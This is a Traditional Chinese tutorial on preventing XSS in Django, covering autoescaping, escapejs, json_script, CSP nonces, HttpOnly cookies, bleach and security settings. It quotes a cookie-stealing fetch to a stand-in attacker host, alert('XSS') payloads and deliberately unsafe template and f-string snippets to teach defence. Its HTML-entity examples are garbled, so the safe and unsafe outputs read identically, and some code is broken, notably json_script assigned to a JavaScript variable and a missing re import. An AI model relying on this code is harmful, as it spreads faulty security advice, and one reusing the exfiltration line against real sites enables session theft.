03-6. XSS 防禦完整指南:輸出編碼、CSP、HttpOnly
完整的 XSS 防禦方法:Django 自動轉義、CSP、HttpOnly Cookie、安全編碼實踐
目錄
03-6. XSS 防禦完整指南:輸出編碼、CSP、HttpOnly
⏱️ 閱讀時間: 15 分鐘 🎯 難度: ⭐⭐ (中等) ⚠️ 重要: 本篇是 XSS 系列最重要的一篇!
🎯 本篇重點
學習如何完全防禦 XSS:輸出編碼(HTML Escape)、Django Template 自動轉義、CSP(Content Security Policy)、HttpOnly Cookie,以及完整的安全檢查清單。
🛡️ 防禦的核心原則
黃金法則
永遠不要信任用戶輸入!
所有輸出到 HTML 的內容都必須編碼(Escape)為什麼需要輸出編碼?
沒有編碼(危險):
用戶輸入:<script>alert('XSS')</script>
HTML 輸出:<div><script>alert('XSS')</script></div>
結果:JavaScript 被執行
有編碼(安全):
用戶輸入:<script>alert('XSS')</script>
HTML 輸出:<div><script>alert('XSS')</script></div>
結果:顯示為純文字,不執行
關鍵:
< 變成 <
> 變成 >
瀏覽器會把 < 顯示為 <,但不會當成 HTML 標籤1️⃣ 輸出編碼(Output Encoding)
HTML 實體編碼
特殊字元 → HTML 實體
< → <
> → >
& → &
" → "
' → '
/ → /Python 手動編碼
import html
# ✅ 手動編碼
def escape_html(text):
return html.escape(text)
# 測試:
user_input = "<script>alert('XSS')</script>"
safe_output = escape_html(user_input)
print(safe_output)
# 輸出:<script>alert('XSS')</script>
# HTML 顯示:<script>alert('XSS')</script>(純文字)
# 不會執行 JavaScriptDjango 自動轉義(推薦!)
# ✅ Django Template 自動轉義(預設開啟)
from django.shortcuts import render
def show_comment(request):
comment = "<script>alert('XSS')</script>"
return render(request, 'comment.html', {'comment': comment})
# template: comment.html
<div>{{ comment }}</div>
# 實際輸出:
<div><script>alert('XSS')</script></div>
# 顯示:<script>alert('XSS')</script>(純文字)
# 安全!不會執行危險的 safe 標籤
# ❌ 危險:使用 |safe 關閉自動轉義
def show_comment(request):
comment = "<script>alert('XSS')</script>"
return render(request, 'comment.html', {'comment': comment})
# template: comment.html
<div>{{ comment|safe }}</div>
↑
告訴 Django 不要轉義
# 實際輸出:
<div><script>alert('XSS')</script></div>
# 結果:JavaScript 被執行!危險!何時可以使用 safe?
# ✅ 只有在完全確定內容安全時才使用
# 範例 1:你自己生成的 HTML
def show_article(request):
# 這是你在後端生成的,不是用戶輸入
content = "<p>這是文章內容</p><ul><li>項目 1</li><li>項目 2</li></ul>"
return render(request, 'article.html', {'content': content})
# template.html
{{ content|safe }} # 安全,因為內容來自可信來源
# 範例 2:已經清理過的 HTML
from bleach import clean
def show_user_post(request):
user_html = request.POST.get('content')
# 使用 bleach 清理,只保留安全標籤
safe_html = clean(user_html, tags=['p', 'b', 'i', 'u'], strip=True)
return render(request, 'post.html', {'content': safe_html})
# template.html
{{ content|safe }} # 安全,因為已經清理過2️⃣ Django Template 最佳實踐
✅ 安全模式(預設)
# Django Template 預設開啟自動轉義
# views.py
def show_profile(request):
username = request.GET.get('name', '')
bio = request.GET.get('bio', '')
return render(request, 'profile.html', {
'username': username,
'bio': bio
})
# template: profile.html
<h1>用戶名:{{ username }}</h1>
<p>個人簡介:{{ bio }}</p>
# 所有變數都會自動轉義,安全!不同上下文的編碼
<!-- 1. HTML 內容上下文 -->
<div>{{ user_input }}</div>
<!-- Django 自動 HTML 編碼,安全 -->
<!-- 2. HTML 屬性上下文 -->
<input type="text" value="{{ user_input }}">
<!-- Django 自動編碼,安全 -->
<!-- 3. JavaScript 上下文(危險!) -->
<script>
var username = "{{ user_input }}"; // ❌ 危險!
</script>
<!-- 如果 user_input = "; alert('XSS'); " -->
<!-- 結果:var username = ""; alert('XSS'); ""; -->
<!-- JavaScript 被執行! -->
<!-- ✅ 正確做法:使用 JSON -->
<script>
var username = {{ username|json_script:"username-data" }};
</script>
<!-- 或使用 data 屬性 -->
<div id="app" data-username="{{ user_input }}"></div>
<script>
var username = document.getElementById('app').dataset.username;
</script>escapejs 過濾器
<!-- ✅ 在 JavaScript 字串中安全使用 -->
<script>
var message = "{{ user_input|escapejs }}";
</script>
<!-- 範例: -->
<!-- user_input = Hello "World" -->
<!-- 輸出:var message = "Hello \"World\""; -->
<!-- user_input = </script><script>alert('XSS')</script> -->
<!-- 輸出:var message = "\u003C/script\u003E\u003Cscript\u003Ealert('XSS')\u003C/script\u003E"; -->
<!-- 安全!不會執行 -->完整範例
# views.py
from django.shortcuts import render
from django.core.serializers.json import DjangoJSONEncoder
import json
def user_profile(request):
user_data = {
'username': request.GET.get('name', ''),
'bio': request.GET.get('bio', ''),
'tags': ['python', 'django', 'security']
}
# 方法 1:傳遞給 template
return render(request, 'profile.html', {
'user_data': user_data,
'user_data_json': json.dumps(user_data, cls=DjangoJSONEncoder)
})<!-- template: profile.html -->
<!DOCTYPE html>
<html>
<head>
<title>用戶檔案</title>
</head>
<body>
<!-- 方法 1:HTML 內容(自動轉義) -->
<h1>{{ user_data.username }}</h1>
<p>{{ user_data.bio }}</p>
<!-- 方法 2:傳遞給 JavaScript -->
<script>
// ✅ 安全:使用 JSON
const userData = JSON.parse('{{ user_data_json|escapejs }}');
console.log(userData);
</script>
<!-- 方法 3:使用 json_script(Django 2.1+) -->
{{ user_data|json_script:"user-data" }}
<script>
const userData = JSON.parse(
document.getElementById('user-data').textContent
);
console.log(userData);
</script>
<!-- 方法 4:使用 data 屬性 -->
<div id="app"
data-username="{{ user_data.username }}"
data-bio="{{ user_data.bio }}">
</div>
<script>
const app = document.getElementById('app');
const username = app.dataset.username; // 安全
const bio = app.dataset.bio; // 安全
</script>
</body>
</html>3️⃣ CSP(Content Security Policy)
什麼是 CSP?
CSP = 一個 HTTP Header,告訴瀏覽器只允許執行來自特定來源的 JavaScript
沒有 CSP:
瀏覽器執行所有 JavaScript(包含注入的惡意代碼)
有 CSP:
瀏覽器只執行符合規則的 JavaScript
注入的惡意代碼被阻擋CSP 原理
比喻:白名單制度
沒有白名單:
任何人都能進入建築物(包含小偷)
有白名單:
只有白名單上的人能進入
小偷被保全擋在門外
CSP = JavaScript 的白名單
只允許來自信任來源的 JavaScript 執行Django 設定 CSP
# 安裝 django-csp
pip install django-csp
# settings.py
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'csp.middleware.CSPMiddleware', # 加入 CSP Middleware
# ... 其他 Middleware
]
# CSP 設定
CSP_DEFAULT_SRC = ("'self'",) # 預設只允許同源
CSP_SCRIPT_SRC = ("'self'", 'https://cdn.example.com') # JavaScript 來源
CSP_STYLE_SRC = ("'self'", 'https://fonts.googleapis.com') # CSS 來源
CSP_IMG_SRC = ("'self'", 'data:', 'https:') # 圖片來源
CSP_FONT_SRC = ("'self'", 'https://fonts.gstatic.com') # 字型來源
# 回報違規
CSP_REPORT_URI = '/csp-report/' # 違規回報端點CSP 指令說明
常用指令:
default-src 'self'
→ 預設只允許同源
script-src 'self' https://cdn.example.com
→ JavaScript 只能來自本站和 cdn.example.com
script-src 'nonce-{random}'
→ 只允許有特定 nonce 的 <script>
script-src 'strict-dynamic'
→ 信任動態載入的 JavaScript
style-src 'self' 'unsafe-inline'
→ CSS 允許 inline(不建議)
img-src 'self' data: https:
→ 圖片允許同源、data URI、所有 HTTPS
connect-src 'self'
→ AJAX/WebSocket 只能連到同源
frame-src 'none'
→ 禁止 <iframe>
upgrade-insecure-requests
→ 自動升級 HTTP 到 HTTPS使用 nonce(推薦)
# views.py
import secrets
def my_view(request):
# 生成隨機 nonce
nonce = secrets.token_urlsafe(16)
# 設定 CSP(使用 nonce)
response = render(request, 'page.html', {'csp_nonce': nonce})
response['Content-Security-Policy'] = f"script-src 'nonce-{nonce}'"
return response<!-- template: page.html -->
<!DOCTYPE html>
<html>
<head>
<title>安全頁面</title>
</head>
<body>
<!-- ✅ 允許:有正確的 nonce -->
<script nonce="{{ csp_nonce }}">
console.log('這段 JavaScript 會執行');
</script>
<!-- ❌ 被阻擋:沒有 nonce -->
<script>
alert('這段會被 CSP 阻擋');
</script>
<!-- ❌ 被阻擋:即使注入也無法執行 -->
<!-- 如果頁面有 XSS 漏洞,注入的代碼也會被阻擋 -->
</body>
</html>CSP 等級
# 寬鬆(不建議,幾乎沒有保護)
CSP_DEFAULT_SRC = ("'self'", "'unsafe-inline'", "'unsafe-eval'")
# 中等(基本保護)
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'", 'https://cdn.example.com')
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'") # CSS 允許 inline
# 嚴格(強保護,推薦)
CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'nonce-{NONCE}'", "'strict-dynamic'")
CSP_STYLE_SRC = ("'nonce-{NONCE}'",)
CSP_IMG_SRC = ("'self'", 'data:', 'https:')
CSP_CONNECT_SRC = ("'self'",)
CSP_FONT_SRC = ("'self'",)4️⃣ HttpOnly Cookie
什麼是 HttpOnly?
HttpOnly = 一個 Cookie 屬性,防止 JavaScript 讀取 Cookie
// 沒有 HttpOnly:
console.log(document.cookie);
// 輸出:sessionid=abc123; username=john
// 有 HttpOnly:
console.log(document.cookie);
// 輸出:(空字串或其他非 HttpOnly 的 Cookie)
// sessionid 無法被 JavaScript 讀取
為什麼重要?
XSS 攻擊的主要目標:竊取 Cookie
沒有 HttpOnly:
<script>
fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>
→ Session Cookie 被竊取
→ 駭客可以冒充用戶登入
有 HttpOnly:
<script>
fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>
→ document.cookie 讀不到 Session Cookie
→ 攻擊失敗
HttpOnly = XSS 的第二道防線
即使有 XSS 漏洞,也無法竊取 SessionDjango 設定 HttpOnly
# settings.py
# Session Cookie 設為 HttpOnly(預設已開啟)
SESSION_COOKIE_HTTPONLY = True
# CSRF Cookie 設為 HttpOnly
CSRF_COOKIE_HTTPONLY = True
# 強制 HTTPS
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
# SameSite 屬性(防禦 CSRF)
SESSION_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_SAMESITE = 'Lax'自訂 Cookie
from django.http import HttpResponse
def set_cookie(request):
response = HttpResponse("Cookie 已設定")
# ✅ 安全:設定 HttpOnly 和 Secure
response.set_cookie(
'user_token',
'abc123',
httponly=True, # 防止 JavaScript 讀取
secure=True, # 只能透過 HTTPS 傳輸
samesite='Lax' # 防禦 CSRF
)
return response5️⃣ 輸入驗證(縱深防禦)
白名單驗證
from django import forms
from django.core.validators import RegexValidator
# ✅ 使用 Django Form 驗證
class CommentForm(forms.Form):
content = forms.CharField(
max_length=1000,
min_length=1,
widget=forms.Textarea,
validators=[
# 禁止 <script> 標籤
RegexValidator(
regex=r'<script',
message='不允許 script 標籤',
inverse_match=True, # 反向匹配(不符合時通過)
flags=re.IGNORECASE
)
]
)
def add_comment(request):
if request.method == 'POST':
form = CommentForm(request.POST)
if not form.is_valid():
return JsonResponse({'error': form.errors}, status=400)
content = form.cleaned_data['content']
Comment.objects.create(content=content)
return JsonResponse({'success': True})使用 Bleach 清理 HTML
# 安裝 bleach
pip install bleach
import bleach
# ✅ 允許特定 HTML 標籤
def clean_user_html(html):
# 只允許安全的標籤和屬性
allowed_tags = ['p', 'b', 'i', 'u', 'em', 'strong', 'a', 'br']
allowed_attributes = {
'a': ['href', 'title']
}
# 清理 HTML
clean_html = bleach.clean(
html,
tags=allowed_tags,
attributes=allowed_attributes,
strip=True # 移除不允許的標籤
)
# 清理連結(防止 javascript: 協議)
clean_html = bleach.linkify(clean_html)
return clean_html
# 使用:
def save_article(request):
user_html = request.POST.get('content')
# 清理 HTML
safe_html = clean_user_html(user_html)
# 儲存
Article.objects.create(content=safe_html)
return JsonResponse({'success': True})6️⃣ 完整防禦策略
縱深防禦(Defense in Depth)
第 1 層:輸入驗證
├─ 長度限制
├─ 格式驗證
├─ 白名單驗證
└─ 使用 Django Form
第 2 層:輸出編碼(核心!)
├─ Django Template 自動轉義
├─ 避免使用 |safe
├─ 使用 escapejs
└─ 正確處理不同上下文
第 3 層:CSP
├─ 限制 JavaScript 來源
├─ 使用 nonce
├─ 禁止 inline JavaScript
└─ 回報違規
第 4 層:HttpOnly Cookie
├─ 防止 JavaScript 讀取 Cookie
├─ 即使有 XSS 也無法竊取 Session
└─ 第二道防線
第 5 層:其他安全 Header
├─ X-Content-Type-Options: nosniff
├─ X-Frame-Options: DENY
└─ Referrer-Policy
第 6 層:監控與日誌
├─ 記錄 CSP 違規
├─ 偵測異常模式
└─ 及時響應Django 完整安全配置
# settings.py
# ============ 基本安全 ============
DEBUG = False # 生產環境關閉 Debug
SECRET_KEY = os.environ.get('SECRET_KEY') # 環境變數
ALLOWED_HOSTS = ['example.com', 'www.example.com']
# ============ HTTPS ============
SECURE_SSL_REDIRECT = True # 強制 HTTPS
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
# ============ Cookie 安全 ============
SESSION_COOKIE_SECURE = True # Cookie 只能透過 HTTPS
SESSION_COOKIE_HTTPONLY = True # 防止 JavaScript 讀取
SESSION_COOKIE_SAMESITE = 'Lax' # 防禦 CSRF
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SAMESITE = 'Lax'
# ============ 安全 Headers ============
SECURE_CONTENT_TYPE_NOSNIFF = True # 防止 MIME 類型嗅探
SECURE_BROWSER_XSS_FILTER = True # 啟用瀏覽器 XSS 過濾
X_FRAME_OPTIONS = 'DENY' # 防止 Clickjacking
SECURE_REFERRER_POLICY = 'same-origin' # Referrer 政策
# HSTS(強制 HTTPS)
SECURE_HSTS_SECONDS = 31536000 # 1 年
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
# ============ CSP ============
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'csp.middleware.CSPMiddleware',
# ... 其他 Middleware
]
CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_STYLE_SRC = ("'self'",)
CSP_IMG_SRC = ("'self'", 'data:', 'https:')
CSP_FONT_SRC = ("'self'",)
CSP_CONNECT_SRC = ("'self'",)
CSP_FRAME_ANCESTORS = ("'none'",)
CSP_BASE_URI = ("'self'",)
CSP_FORM_ACTION = ("'self'",)
# CSP 違規回報
CSP_REPORT_URI = '/csp-report/'
CSP_REPORT_ONLY = False # False = 強制執行,True = 只回報
# ============ Template 設定 ============
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'OPTIONS': {
'autoescape': True, # 確保自動轉義開啟(預設)
# ...
},
},
]7️⃣ 安全檢查清單
代碼層面
□ 所有用戶輸入都經過 Django Template 輸出(自動轉義)
□ 沒有使用 |safe(除非完全確定安全)
□ JavaScript 上下文使用 escapejs 或 JSON
□ 使用 Django Form 驗證輸入
□ 允許 HTML 時使用 bleach 清理
□ 沒有使用 innerHTML(使用 textContent)
□ 沒有使用 eval()、setTimeout(string)配置層面
□ DEBUG = False(生產環境)
□ CSP 已啟用並正確配置
□ SESSION_COOKIE_HTTPONLY = True
□ SESSION_COOKIE_SECURE = True
□ CSRF_COOKIE_HTTPONLY = True
□ X_FRAME_OPTIONS = 'DENY'
□ SECURE_CONTENT_TYPE_NOSNIFF = True
□ SECURE_SSL_REDIRECT = True
□ HSTS 已啟用測試層面
□ 測試常見 XSS payload
□ 測試不同上下文(HTML、屬性、JavaScript)
□ 測試 CSP 是否生效
□ 測試 HttpOnly Cookie 無法被 JavaScript 讀取
□ 使用自動化工具掃描(OWASP ZAP)
□ 定期進行滲透測試🎓 面試常考題
Q1:如何防禦 XSS?
A:核心是輸出編碼(HTML Escape)
Django 最佳實踐:
1. 使用 Django Template 自動轉義(第 1 層)
{{ user_input }} # 自動轉義,安全
2. 避免使用 |safe
{{ user_input|safe }} # 危險!只在完全確定安全時使用
3. JavaScript 上下文特殊處理
<script>
var data = {{ data|json_script:"data-id" }};
</script>
4. 啟用 CSP(第 2 層)
限制 JavaScript 來源
使用 nonce 或 hash
5. 設定 HttpOnly Cookie(第 3 層)
防止即使有 XSS 也無法竊取 Session
6. 輸入驗證(額外防護)
使用 Django Form
必要時使用 bleach 清理 HTML
縱深防禦:
輸出編碼(核心)+ CSP + HttpOnly + 輸入驗證Q2:Django Template 自動轉義會處理所有情況嗎?
A:不會,JavaScript 上下文需要特殊處理
HTML 內容(✅ 自動轉義):
<div>{{ user_input }}</div>
→ 安全
HTML 屬性(✅ 自動轉義):
<input value="{{ user_input }}">
→ 安全
JavaScript 上下文(❌ 自動轉義不夠):
<script>
var data = "{{ user_input }}";
</script>
→ 如果 user_input = "; alert('XSS'); "
→ 結果:var data = ""; alert('XSS'); "";
→ 危險!
✅ 正確做法:
方法 1:使用 escapejs
<script>
var data = "{{ user_input|escapejs }}";
</script>
方法 2:使用 JSON(推薦)
<script>
var data = JSON.parse('{{ data_json|escapejs }}');
</script>
方法 3:使用 json_script
{{ data|json_script:"data-id" }}
<script>
var data = JSON.parse(
document.getElementById('data-id').textContent
);
</script>
結論:
不同上下文需要不同的編碼方式
HTML 內容和屬性:自動轉義即可
JavaScript:需要 escapejs 或 JSONQ3:CSP 如何防禦 XSS?
A:限制 JavaScript 的來源和執行
原理:
瀏覽器只執行符合 CSP 規則的 JavaScript
注入的惡意代碼會被阻擋
範例:
CSP: script-src 'self'
→ 只允許來自同源的 JavaScript
如果頁面有 XSS 漏洞:
<script>alert('XSS')</script>
→ 被 CSP 阻擋(inline script)
更嚴格的 CSP(使用 nonce):
CSP: script-src 'nonce-random123'
允許:
<script nonce="random123">...</script>
阻擋:
<script>alert('XSS')</script> # 沒有 nonce
<script nonce="wrong">...</script> # nonce 錯誤
即使注入也無法執行:
攻擊者不知道 nonce(每次請求都不同)
注入的 <script> 沒有正確的 nonce
被 CSP 阻擋
CSP = XSS 的第二道防線
輸出編碼(第一道)失敗時
CSP 仍能阻擋攻擊💡 實戰範例:重構不安全代碼
範例 1:留言板
# ❌ 不安全版本
def show_comments(request):
comments = Comment.objects.all()
return render(request, 'comments.html', {'comments': comments})
# template: comments.html
{% for comment in comments %}
<div>{{ comment.content|safe }}</div> ❌ 危險!
{% endfor %}
# ✅ 安全版本
def show_comments(request):
comments = Comment.objects.all()
return render(request, 'comments.html', {'comments': comments})
# template: comments.html
{% for comment in comments %}
<div>{{ comment.content }}</div> ✅ 自動轉義
{% endfor %}
# 如果需要允許部分 HTML:
import bleach
def add_comment(request):
content = request.POST.get('content')
# 清理 HTML,只保留安全標籤
safe_content = bleach.clean(
content,
tags=['p', 'b', 'i', 'u', 'a'],
attributes={'a': ['href']},
strip=True
)
Comment.objects.create(content=safe_content)
return JsonResponse({'success': True})
# template: comments.html
{% for comment in comments %}
<div>{{ comment.content|safe }}</div> ✅ 已清理,安全
{% endfor %}範例 2:搜尋結果
# ❌ 不安全版本
def search(request):
query = request.GET.get('q', '')
results = Product.objects.filter(name__icontains=query)
# 直接拼接 HTML
html = f"<h1>搜尋:{query}</h1>"
html += "<ul>"
for product in results:
html += f"<li>{product.name}</li>"
html += "</ul>"
return HttpResponse(html)
# ✅ 安全版本
def search(request):
query = request.GET.get('q', '')
results = Product.objects.filter(name__icontains=query)
# 使用 Template(自動轉義)
return render(request, 'search.html', {
'query': query,
'results': results
})
# template: search.html
<h1>搜尋:{{ query }}</h1> ✅ 自動轉義
<ul>
{% for product in results %}
<li>{{ product.name }}</li> ✅ 自動轉義
{% endfor %}
</ul>✅ 重點回顧
核心防禦:輸出編碼(HTML Escape)
- ✅ 將特殊字元轉換為 HTML 實體
- ✅ < 變成 <,> 變成 >
- ✅ 瀏覽器顯示為文字,不執行
Django 最佳實踐:
- 🥇 第一選擇:Django Template 自動轉義
- ❌ 避免使用:|safe(除非完全確定安全)
- 🔧 JavaScript 上下文:使用 escapejs 或 JSON
縱深防禦:
- 輸出編碼(核心,第一道防線)
- CSP(限制 JavaScript 來源)
- HttpOnly Cookie(防止竊取 Session)
- 輸入驗證(額外防護)
- 安全 Headers(X-Frame-Options、HSTS)
安全檢查清單:
- □ 使用 Django Template 自動轉義
- □ 避免 |safe
- □ 啟用 CSP
- □ HttpOnly Cookie
- □ DEBUG = False
- □ 定期掃描(OWASP ZAP)
記憶口訣: 「碼策庫監」= 輸出編碼、CSP、HttpOnly Cookie、監控
恭喜你完成 XSS 核心內容! → 03-1 基礎:理解攻擊 → 03-6 防禦:保護系統
上一篇: 03-1. XSS 基礎 下一篇: 05-1. CSRF 基礎
最後更新:2025-01-16